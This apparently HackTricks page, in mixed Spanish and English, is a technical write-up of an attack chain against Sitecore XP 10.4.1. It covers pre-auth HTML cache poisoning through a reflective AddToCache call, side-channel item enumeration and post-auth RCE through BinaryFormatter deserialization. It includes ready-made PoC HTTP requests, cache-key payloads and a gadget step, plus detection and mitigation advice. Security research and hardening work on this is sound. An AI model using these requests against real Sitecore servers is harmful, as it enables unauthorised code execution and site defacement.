Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE

Reading time: 7 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Esta página resume una cadena de ataque práctica contra Sitecore XP 10.4.1 que pivota desde un pre‑auth XAML handler a HTML cache poisoning y, mediante un flujo de UI autenticado, a RCE a través de BinaryFormatter deserialization. Las técnicas se generalizan a versiones/componentes similares de Sitecore y proporcionan primitivas concretas para probar, detectar y endurecer.

  • Producto afectado probado: Sitecore XP 10.4.1 rev. 011628
  • Corregido en: KB1003667, KB1003734 (junio/julio de 2025)

Ver también:

Cache Poisoning and Cache Deception

Deserialization

Primitiva pre‑auth: XAML Ajax reflection → HtmlCache write

Entrypoint is the pre‑auth XAML handler registered in web.config:

xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />

Accesible a través de:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

El árbol de controles incluye AjaxScriptManager que, en solicitudes de eventos, lee attacker‑controlled fields e invoca de forma reflectiva métodos en los controles objetivo:

csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"];      // target control
string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
...
Dispatch(clientId, text);

// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);

// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}

Observación clave: la página XAML incluye una instancia de XmlControl (xmlcontrol:GlobalHeader).

Sitecore.XmlControls.XmlControl hereda de Sitecore.Web.UI.WebControl (una clase de Sitecore), que pasa la allow‑list ReflectionUtil.Filter (Sitecore.*), desbloqueando métodos en Sitecore WebControl.

Método mágico para poisoning:

csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}

Al poder apuntar a xmlcontrol:GlobalHeader y llamar a métodos de Sitecore.Web.UI.WebControl por nombre, obtenemos una primitiva pre-auth para escritura arbitraria en HtmlCache.

Solicitud PoC (CVE-2025-53693)

POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Notas:

  • __SOURCE es el clientID de xmlcontrol:GlobalHeader dentro de Sitecore.Shell.Xaml.WebControl (comúnmente estable como ctl00_ctl00_ctl05_ctl03 ya que se deriva de XAML estático).
  • __PARAMETERS tiene el formato Method("arg1","arg2").

Qué envenenar: Construcción de la clave de caché

Construcción típica de la clave de HtmlCache usada por los controles de Sitecore:

csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData)        k += ResolveDataKeyPart();
if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}

Ejemplo de envenenamiento dirigido para un sublayout conocido:

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Enumerar elementos cacheables y dimensiones “vary by”

Si el ItemService está (mal)expuesto de forma anónima, puedes enumerar componentes cacheables para derivar claves exactas.

Sondeo rápido:

GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required

Listar elementos cacheables y flags:

GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100

Busca campos como Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Los nombres de dispositivo pueden enumerarse mediante:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100

Side‑channel enumeration under restricted identities (CVE-2025-53694)

Incluso cuando ItemService se hace pasar por una cuenta limitada (p. ej., ServicesAPI) y devuelve una Results array vacía, TotalCount aún puede reflejar hits de Solr previos a la ACL. Puedes brute‑force item groups/ids con wildcards y observar cómo TotalCount converge para mapear contenido interno y dispositivos:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item

Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)

Sink:

csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));

Accesible a través del paso ConvertWebControls del pipeline convertToRuntimeHtml, que busca un elemento con id {iframeId}_inner y decodifica base64 y deserializa su contenido, luego inyecta la cadena resultante en el HTML:

csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2   = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);

Disparador (autenticado, Content Editor rights). El diálogo FixHtml llama a convertToRuntimeHtml. De extremo a extremo sin clics en la UI:

// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx

// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>

// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}

// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...

Generación de gadgets: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. El contenido de la cadena se inserta en el HTML por ConvertWebControls tras ejecutarse los side‑effects de deserialization.

Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Cadena completa

  1. Un atacante pre‑auth envenena HtmlCache con HTML arbitrario invocando reflectivamente WebControl.AddToCache vía XAML AjaxScriptManager.
  2. El HTML envenenado sirve JavaScript que empuja a un usuario autenticado Content Editor a través del flujo FixHtml.
  3. La página FixHtml dispara convertToRuntimeHtml → ConvertWebControls, que deserializa base64 controlado por el atacante vía BinaryFormatter → RCE bajo la identidad del app pool de Sitecore.

Detección

  • Pre‑auth XAML: requests to /-/xaml/Sitecore.Shell.Xaml.WebControl with __ISEVENT=1, suspicious __SOURCE and __PARAMETERS=AddToCache(...).
  • ItemService probing: spikes of /sitecore/api/ssc wildcard queries, large TotalCount with empty Results.
  • Deserialization attempts: EditHtml.aspx followed by FixHtml.aspx?hdl=... and unusually large base64 in HTML fields.

Mitigación

  • Apply Sitecore patches KB1003667 and KB1003734; gate/disable pre‑auth XAML handlers or add strict validation; monitor and rate‑limit /-/xaml/.
  • Remove/replace BinaryFormatter; restrict access to convertToRuntimeHtml or enforce strong server‑side validation of HTML editing flows.
  • Lock down /sitecore/api/ssc to loopback or authenticated roles; avoid impersonation patterns that leak TotalCount‑based side channels.
  • Enforce MFA/least privilege for Content Editor users; review CSP to reduce JS steering impact from cache poisoning.

References

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks